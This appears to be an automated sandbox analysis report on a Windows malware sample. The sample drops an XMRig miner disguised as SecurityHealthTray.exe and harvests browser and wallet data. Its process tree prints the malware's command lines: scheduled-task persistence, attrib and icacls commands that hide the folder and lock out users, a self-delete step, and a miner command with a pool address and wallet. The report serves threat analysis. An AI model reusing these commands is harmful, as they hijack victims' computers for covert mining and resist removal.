xmrig | cc53accc69b32c2507210ea70d1d56aa84dbe354a7f79577df180179ea797427

Resubmissions

28-02-2021 15:01

210228-5dd8sx9g26 10

28-02-2021 07:28

210228-xfflmbv19n 10

Analysis

max time kernel
257s
max time network
302s
platform
windows10_x64
resource
win10v20201028
submitted
28-02-2021 15:01

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

cc53accc69b32c2507210ea70d1d56aa84dbe354a7f79577df180179ea797427.exe
Size

6.2MB
MD5

bd64d2e0d11093bbd84be2b6ca1c113d
SHA1

8fae8984391bd9dddb7afc0ebdd87a05954a7134
SHA256

cc53accc69b32c2507210ea70d1d56aa84dbe354a7f79577df180179ea797427
SHA512

b2ebe1a566c9a22fa34795b5906721242a005b69cb1301ef6817ce31c45b9ca9da0e9b85c2973fe27a5910077c909469c91bf8a32bc8d370fdd84ce00415e3ad

Score

10^/10

xmrig discovery evasion miner spyware themida trojan

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

XMRig Miner Payload 14 IoCs

miner

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\1.exe	xmrig
C:\Users\Admin\AppData\Local\Temp\1.exe	xmrig
C:\Users\Admin\AppData\Roaming\1337\1.exe	xmrig
C:\Users\Admin\AppData\Roaming\1337\1.exe	xmrig
C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe	xmrig
C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe	xmrig
C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe	xmrig
C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe	xmrig
behavioral2/memory/4020-66-0x00007FF717390000-0x00007FF717AB7000-memory.dmp	xmrig
C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe	xmrig
C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe	xmrig
C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe	xmrig
C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe	xmrig
behavioral2/memory/4952-248-0x00007FF717390000-0x00007FF717AB7000-memory.dmp	xmrig

Executes dropped EXE 11 IoCs

Processes:

lxxxxxx.exe1.exeFile.exe1.exe@asasinalex.exefontdrvhost.exeSecurityHealthTray.exeSecurityHealthTray.exeSecurityHealthTray.exeSecurityHealthTray.exeSecurityHealthTray.exe

pid	process
740	lxxxxxx.exe
2128	1.exe
4048	File.exe
4020	1.exe
2224	@asasinalex.exe
3220	fontdrvhost.exe
3896	SecurityHealthTray.exe
4020	SecurityHealthTray.exe
3528	SecurityHealthTray.exe
3884	SecurityHealthTray.exe
200	SecurityHealthTray.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

cc53accc69b32c2507210ea70d1d56aa84dbe354a7f79577df180179ea797427.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	cc53accc69b32c2507210ea70d1d56aa84dbe354a7f79577df180179ea797427.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	cc53accc69b32c2507210ea70d1d56aa84dbe354a7f79577df180179ea797427.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

SecurityHealthTray.exeSecurityHealthTray.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Control Panel\International\Geo\Nation	SecurityHealthTray.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Control Panel\International\Geo\Nation	SecurityHealthTray.exe

Loads dropped DLL 1 IoCs

Processes:

File.exe

pid process

4048 File.exe
Modifies file permissions 1 TTPs 3 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

icacls.exeicacls.exeicacls.exe

pid process

3456 icacls.exe
3820 icacls.exe
2220 icacls.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081

pid	process
4048	File.exe

pid	process
3456	icacls.exe
3820	icacls.exe
2220	icacls.exe

themida 1 IoCs

Detects Themida, Advanced Windows software protection system.

themida

Processes:

resource	yara_rule
behavioral2/memory/412-2-0x0000000001040000-0x0000000001CFC000-memory.dmp	themida

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

Processes:

cc53accc69b32c2507210ea70d1d56aa84dbe354a7f79577df180179ea797427.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	cc53accc69b32c2507210ea70d1d56aa84dbe354a7f79577df180179ea797427.exe

Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

11 api.ipify.org
12 api.ipify.org
13 ip-api.com
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

Processes:

cc53accc69b32c2507210ea70d1d56aa84dbe354a7f79577df180179ea797427.exe

pid process

412 cc53accc69b32c2507210ea70d1d56aa84dbe354a7f79577df180179ea797427.exe

flow	ioc
11	api.ipify.org
12	api.ipify.org
13	ip-api.com

pid	process
412	cc53accc69b32c2507210ea70d1d56aa84dbe354a7f79577df180179ea797427.exe

Drops file in Program Files directory 3 IoCs

Processes:

lxxxxxx.exe

description	ioc	process
File created	C:\Program Files (x86)\Windows NT\taskhostw.exe	lxxxxxx.exe
File opened for modification	C:\Program Files (x86)\Windows NT\taskhostw.exe	lxxxxxx.exe
File created	C:\Program Files (x86)\Windows NT\ea9f0e6c9e2dcd4dfacdaf29ba21541fb815a988	lxxxxxx.exe

Drops file in Windows directory 5 IoCs

Processes:

lxxxxxx.exe

description	ioc	process
File created	C:\Windows\Boot\Resources\en-US\wininit.exe	lxxxxxx.exe
File created	C:\Windows\GameBarPresenceWriter\WmiPrvSE.exe	lxxxxxx.exe
File created	C:\Windows\GameBarPresenceWriter\24dbde2999530ef5fd907494bc374d663924116c	lxxxxxx.exe
File created	C:\Windows\Media\Raga\fontdrvhost.exe	lxxxxxx.exe
File created	C:\Windows\Media\Raga\5b884080fd4f94e2695da25c503f9e33b9605b83	lxxxxxx.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

NSIS installer 4 IoCs

installer

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\File.exe	nsis_installer_1
C:\Users\Admin\AppData\Local\Temp\File.exe	nsis_installer_2
C:\Users\Admin\AppData\Local\Temp\File.exe	nsis_installer_1
C:\Users\Admin\AppData\Local\Temp\File.exe	nsis_installer_2

Creates scheduled task(s) 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid process

3520 schtasks.exe
3604 schtasks.exe
1964 schtasks.exe
2252 schtasks.exe
2220 schtasks.exe

pid	process
3520	schtasks.exe
3604	schtasks.exe
1964	schtasks.exe
2252	schtasks.exe
2220	schtasks.exe

Modifies registry class 2 IoCs

Processes:

SecurityHealthTray.exeSecurityHealthTray.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance	SecurityHealthTray.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance	SecurityHealthTray.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

lxxxxxx.exe@asasinalex.exefontdrvhost.exeSecurityHealthTray.exeSecurityHealthTray.exe

pid	process
740	lxxxxxx.exe
2224	@asasinalex.exe
2224	@asasinalex.exe
3220	fontdrvhost.exe
3896	SecurityHealthTray.exe
3896	SecurityHealthTray.exe
4020	SecurityHealthTray.exe
4020	SecurityHealthTray.exe
4020	SecurityHealthTray.exe
4020	SecurityHealthTray.exe
4020	SecurityHealthTray.exe
4020	SecurityHealthTray.exe
4020	SecurityHealthTray.exe
4020	SecurityHealthTray.exe
4020	SecurityHealthTray.exe
4020	SecurityHealthTray.exe
4020	SecurityHealthTray.exe
4020	SecurityHealthTray.exe
4020	SecurityHealthTray.exe
4020	SecurityHealthTray.exe
4020	SecurityHealthTray.exe
4020	SecurityHealthTray.exe
4020	SecurityHealthTray.exe
4020	SecurityHealthTray.exe
4020	SecurityHealthTray.exe
4020	SecurityHealthTray.exe
4020	SecurityHealthTray.exe
4020	SecurityHealthTray.exe
4020	SecurityHealthTray.exe
4020	SecurityHealthTray.exe
4020	SecurityHealthTray.exe
4020	SecurityHealthTray.exe
4020	SecurityHealthTray.exe
4020	SecurityHealthTray.exe
4020	SecurityHealthTray.exe
4020	SecurityHealthTray.exe
4020	SecurityHealthTray.exe
4020	SecurityHealthTray.exe
4020	SecurityHealthTray.exe
4020	SecurityHealthTray.exe
4020	SecurityHealthTray.exe
4020	SecurityHealthTray.exe
4020	SecurityHealthTray.exe
4020	SecurityHealthTray.exe
4020	SecurityHealthTray.exe
4020	SecurityHealthTray.exe
4020	SecurityHealthTray.exe
4020	SecurityHealthTray.exe
4020	SecurityHealthTray.exe
4020	SecurityHealthTray.exe
4020	SecurityHealthTray.exe
4020	SecurityHealthTray.exe
4020	SecurityHealthTray.exe
4020	SecurityHealthTray.exe
4020	SecurityHealthTray.exe
4020	SecurityHealthTray.exe
4020	SecurityHealthTray.exe
4020	SecurityHealthTray.exe
4020	SecurityHealthTray.exe
4020	SecurityHealthTray.exe
4020	SecurityHealthTray.exe
4020	SecurityHealthTray.exe
4020	SecurityHealthTray.exe
4020	SecurityHealthTray.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

@asasinalex.exelxxxxxx.exefontdrvhost.exeSecurityHealthTray.exe

description	pid	process
Token: SeDebugPrivilege	2224	@asasinalex.exe
Token: SeDebugPrivilege	740	lxxxxxx.exe
Token: SeDebugPrivilege	3220	fontdrvhost.exe
Token: SeLockMemoryPrivilege	4020	SecurityHealthTray.exe
Token: SeLockMemoryPrivilege	4020	SecurityHealthTray.exe

Suspicious use of FindShellTrayWindow 5 IoCs

Processes:

chrome.exe

pid process

4080 chrome.exe
4080 chrome.exe
4080 chrome.exe
4080 chrome.exe
4080 chrome.exe

pid	process
4080	chrome.exe
4080	chrome.exe
4080	chrome.exe
4080	chrome.exe
4080	chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cc53accc69b32c2507210ea70d1d56aa84dbe354a7f79577df180179ea797427.exe1.execmd.exeFile.execmd.exelxxxxxx.exe@asasinalex.execmd.exeSecurityHealthTray.exechrome.exechrome.exe

description	pid	process	target process
PID 412 wrote to memory of 740	412	cc53accc69b32c2507210ea70d1d56aa84dbe354a7f79577df180179ea797427.exe	lxxxxxx.exe
PID 412 wrote to memory of 740	412	cc53accc69b32c2507210ea70d1d56aa84dbe354a7f79577df180179ea797427.exe	lxxxxxx.exe
PID 412 wrote to memory of 2128	412	cc53accc69b32c2507210ea70d1d56aa84dbe354a7f79577df180179ea797427.exe	1.exe
PID 412 wrote to memory of 2128	412	cc53accc69b32c2507210ea70d1d56aa84dbe354a7f79577df180179ea797427.exe	1.exe
PID 412 wrote to memory of 4048	412	cc53accc69b32c2507210ea70d1d56aa84dbe354a7f79577df180179ea797427.exe	File.exe
PID 412 wrote to memory of 4048	412	cc53accc69b32c2507210ea70d1d56aa84dbe354a7f79577df180179ea797427.exe	File.exe
PID 412 wrote to memory of 4048	412	cc53accc69b32c2507210ea70d1d56aa84dbe354a7f79577df180179ea797427.exe	File.exe
PID 2128 wrote to memory of 3520	2128	1.exe	schtasks.exe
PID 2128 wrote to memory of 3520	2128	1.exe	schtasks.exe
PID 2128 wrote to memory of 1360	2128	1.exe	cmd.exe
PID 2128 wrote to memory of 1360	2128	1.exe	cmd.exe
PID 2128 wrote to memory of 2800	2128	1.exe	cmd.exe
PID 2128 wrote to memory of 2800	2128	1.exe	cmd.exe
PID 2128 wrote to memory of 1116	2128	1.exe	cmd.exe
PID 2128 wrote to memory of 1116	2128	1.exe	cmd.exe
PID 1360 wrote to memory of 2320	1360	cmd.exe	attrib.exe
PID 1360 wrote to memory of 2320	1360	cmd.exe	attrib.exe
PID 4048 wrote to memory of 4020	4048	File.exe	1.exe
PID 4048 wrote to memory of 4020	4048	File.exe	1.exe
PID 4048 wrote to memory of 2224	4048	File.exe	@asasinalex.exe
PID 4048 wrote to memory of 2224	4048	File.exe	@asasinalex.exe
PID 4048 wrote to memory of 2224	4048	File.exe	@asasinalex.exe
PID 1116 wrote to memory of 2220	1116	cmd.exe	icacls.exe
PID 1116 wrote to memory of 2220	1116	cmd.exe	icacls.exe
PID 1360 wrote to memory of 3728	1360	cmd.exe	attrib.exe
PID 1360 wrote to memory of 3728	1360	cmd.exe	attrib.exe
PID 1116 wrote to memory of 3456	1116	cmd.exe	icacls.exe
PID 1116 wrote to memory of 3456	1116	cmd.exe	icacls.exe
PID 1116 wrote to memory of 3820	1116	cmd.exe	icacls.exe
PID 1116 wrote to memory of 3820	1116	cmd.exe	icacls.exe
PID 1360 wrote to memory of 2348	1360	cmd.exe	attrib.exe
PID 1360 wrote to memory of 2348	1360	cmd.exe	attrib.exe
PID 740 wrote to memory of 3604	740	lxxxxxx.exe	schtasks.exe
PID 740 wrote to memory of 3604	740	lxxxxxx.exe	schtasks.exe
PID 740 wrote to memory of 1964	740	lxxxxxx.exe	schtasks.exe
PID 740 wrote to memory of 1964	740	lxxxxxx.exe	schtasks.exe
PID 740 wrote to memory of 2252	740	lxxxxxx.exe	schtasks.exe
PID 740 wrote to memory of 2252	740	lxxxxxx.exe	schtasks.exe
PID 740 wrote to memory of 2220	740	lxxxxxx.exe	schtasks.exe
PID 740 wrote to memory of 2220	740	lxxxxxx.exe	schtasks.exe
PID 740 wrote to memory of 3220	740	lxxxxxx.exe	fontdrvhost.exe
PID 740 wrote to memory of 3220	740	lxxxxxx.exe	fontdrvhost.exe
PID 2224 wrote to memory of 576	2224	@asasinalex.exe	cmd.exe
PID 2224 wrote to memory of 576	2224	@asasinalex.exe	cmd.exe
PID 2224 wrote to memory of 576	2224	@asasinalex.exe	cmd.exe
PID 576 wrote to memory of 1516	576	cmd.exe	choice.exe
PID 576 wrote to memory of 1516	576	cmd.exe	choice.exe
PID 576 wrote to memory of 1516	576	cmd.exe	choice.exe
PID 3896 wrote to memory of 4020	3896	SecurityHealthTray.exe	SecurityHealthTray.exe
PID 3896 wrote to memory of 4020	3896	SecurityHealthTray.exe	SecurityHealthTray.exe
PID 4080 wrote to memory of 2172	4080	chrome.exe	chrome.exe
PID 4080 wrote to memory of 2172	4080	chrome.exe	chrome.exe
PID 2144 wrote to memory of 3108	2144	chrome.exe	chrome.exe
PID 2144 wrote to memory of 3108	2144	chrome.exe	chrome.exe
PID 4080 wrote to memory of 1312	4080	chrome.exe	chrome.exe
PID 4080 wrote to memory of 1312	4080	chrome.exe	chrome.exe
PID 4080 wrote to memory of 1312	4080	chrome.exe	chrome.exe
PID 4080 wrote to memory of 1312	4080	chrome.exe	chrome.exe
PID 4080 wrote to memory of 1312	4080	chrome.exe	chrome.exe
PID 4080 wrote to memory of 1312	4080	chrome.exe	chrome.exe
PID 4080 wrote to memory of 1312	4080	chrome.exe	chrome.exe
PID 4080 wrote to memory of 1312	4080	chrome.exe	chrome.exe
PID 4080 wrote to memory of 1312	4080	chrome.exe	chrome.exe
PID 4080 wrote to memory of 1312	4080	chrome.exe	chrome.exe

Views/modifies file attributes 1 TTPs 3 IoCs
evasion

Hidden Files and Directories
T1158

Processes:

attrib.exeattrib.exeattrib.exe

pid process

2348 attrib.exe
2320 attrib.exe
3728 attrib.exe

pid	process
2348	attrib.exe
2320	attrib.exe
3728	attrib.exe

C:\Users\Admin\AppData\Local\Temp\cc53accc69b32c2507210ea70d1d56aa84dbe354a7f79577df180179ea797427.exe
"C:\Users\Admin\AppData\Local\Temp\cc53accc69b32c2507210ea70d1d56aa84dbe354a7f79577df180179ea797427.exe"
1⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
PID:412
- C:\Users\Admin\AppData\Local\Temp\lxxxxxx.exe
  "C:\Users\Admin\AppData\Local\Temp\lxxxxxx.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:740
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks" /create /tn "taskhostw" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows NT\taskhostw.exe'" /rl HIGHEST /f
    3⤵
    - Creates scheduled task(s)
    PID:3604
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks" /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\odt\RuntimeBroker.exe'" /rl HIGHEST /f
    3⤵
    - Creates scheduled task(s)
    PID:1964
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks" /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Windows\GameBarPresenceWriter\WmiPrvSE.exe'" /rl HIGHEST /f
    3⤵
    - Creates scheduled task(s)
    PID:2252
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks" /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Windows\Media\Raga\fontdrvhost.exe'" /rl HIGHEST /f
    3⤵
    - Creates scheduled task(s)
    PID:2220
- - C:\Windows\Media\Raga\fontdrvhost.exe
    "C:\Windows\Media\Raga\fontdrvhost.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3220
- C:\Users\Admin\AppData\Local\Temp\1.exe
  "C:\Users\Admin\AppData\Local\Temp\1.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2128
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /TN Windows\x86_microsoft-windows-fsrm-common_31bf3256ad364e35_10.0.18372.1_none_3fed101f25aae892\MicrosoftSecurityEssentials /XML "C:\ProgramData\SecurityEssentials\task.xml"
    3⤵
    - Creates scheduled task(s)
    PID:3520
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c ATTRIB +h +s +r "C:\ProgramData\SecurityEssentials" & ATTRIB +h +s +r "C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe"& ATTRIB +h +s +r "C:\ProgramData\SecurityEssentials\task.xml"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1360
  - - C:\Windows\system32\attrib.exe
      ATTRIB +h +s +r "C:\ProgramData\SecurityEssentials"
      4⤵
      Views/modifies file attributes
      PID:2320
  - - C:\Windows\system32\attrib.exe
      ATTRIB +h +s +r "C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe"
      4⤵
      Views/modifies file attributes
      PID:3728
  - - C:\Windows\system32\attrib.exe
      ATTRIB +h +s +r "C:\ProgramData\SecurityEssentials\task.xml"
      4⤵
      Views/modifies file attributes
      PID:2348
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c DEL /F /Q C:\ProgramData\SecurityEssentials\task.xml
    3⤵
    PID:2800
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c icacls "C:\ProgramData\SecurityEssentials" /inheritance:e /deny "*S-1-1-0:(R,REA,RA,RD)" & icacls "C:\ProgramData\SecurityEssentials" /inheritance:e /deny "*S-1-5-7:(R,REA,RA,RD)" & icacls "C:\ProgramData\SecurityEssentials" /inheritance:e /deny "admin:(R,REA,RA,RD)"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1116
  - - C:\Windows\system32\icacls.exe
      icacls "C:\ProgramData\SecurityEssentials" /inheritance:e /deny "*S-1-1-0:(R,REA,RA,RD)"
      4⤵
      Modifies file permissions
      PID:2220
  - - C:\Windows\system32\icacls.exe
      icacls "C:\ProgramData\SecurityEssentials" /inheritance:e /deny "*S-1-5-7:(R,REA,RA,RD)"
      4⤵
      Modifies file permissions
      PID:3456
  - - C:\Windows\system32\icacls.exe
      icacls "C:\ProgramData\SecurityEssentials" /inheritance:e /deny "admin:(R,REA,RA,RD)"
      4⤵
      Modifies file permissions
      PID:3820
- C:\Users\Admin\AppData\Local\Temp\File.exe
  "C:\Users\Admin\AppData\Local\Temp\File.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:4048
- - C:\Users\Admin\AppData\Roaming\1337\1.exe
    "C:\Users\Admin\AppData\Roaming\1337\1.exe"
    3⤵
    - Executes dropped EXE
    PID:4020
- - C:\Users\Admin\AppData\Roaming\1337\@asasinalex.exe
    "C:\Users\Admin\AppData\Roaming\1337\@asasinalex.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2224
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "@asasinalex.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:576
    - - C:\Windows\SysWOW64\choice.exe
        
        choice /C Y /N /D Y /T 3
        5⤵
        
        PID:1516

C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
1⤵
- Executes dropped EXE
- Checks computer location settings
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3896
- C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
  "C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe" --max-cpu-usage=10 -o pool.supportxmr.com:3333 -u 41xymULmr9LRENCpbQbVtT37sg4GZWnwfTGfy8cdmLz9GPLs2zxvi4NDN1pCKuCu7ycHHHhphxpu7g4tv4BMZUgL1edwe2A -p x --rig-id={bcfccebbeefe}
  2⤵
  - Executes dropped EXE
  - Checks computer location settings
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4020
- - C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
    "C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe" --max-cpu-usage=50 -o pool.supportxmr.com:3333 -u 41xymULmr9LRENCpbQbVtT37sg4GZWnwfTGfy8cdmLz9GPLs2zxvi4NDN1pCKuCu7ycHHHhphxpu7g4tv4BMZUgL1edwe2A -p x --rig-id={bcfccebbeefe}
    3⤵
    PID:4952

C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
1⤵
- Executes dropped EXE
PID:3528

C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
1⤵
- Executes dropped EXE
PID:3884

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2144
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0xc8,0xcc,0xd0,0x7c,0xd4,0x7ffd97ad6e00,0x7ffd97ad6e10,0x7ffd97ad6e20
  2⤵
  PID:3108
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1500,1609239788829103711,7515607990174428687,131072 --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1512 /prefetch:2
  2⤵
  PID:3728
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1500,1609239788829103711,7515607990174428687,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1800 /prefetch:8
  2⤵
  PID:4000

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:4080
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0xc8,0xcc,0xd0,0xa4,0xd4,0x7ffd97ad6e00,0x7ffd97ad6e10,0x7ffd97ad6e20
  2⤵
  PID:2172
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1432,15771778952237830221,4450731533079024020,131072 --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1440 /prefetch:2
  2⤵
  PID:1312
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1432,15771778952237830221,4450731533079024020,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1872 /prefetch:8
  2⤵
  PID:4052
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1432,15771778952237830221,4450731533079024020,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2656 /prefetch:1
  2⤵
  PID:3184
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1432,15771778952237830221,4450731533079024020,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2664 /prefetch:1
  2⤵
  PID:3876
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1432,15771778952237830221,4450731533079024020,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3316 /prefetch:1
  2⤵
  PID:2252
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1432,15771778952237830221,4450731533079024020,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3440 /prefetch:1
  2⤵
  PID:4108
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1432,15771778952237830221,4450731533079024020,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3488 /prefetch:1
  2⤵
  PID:4128
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1432,15771778952237830221,4450731533079024020,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3600 /prefetch:1
  2⤵
  PID:4160
- C:\Program Files\Google\Chrome\Application\chrome.exe
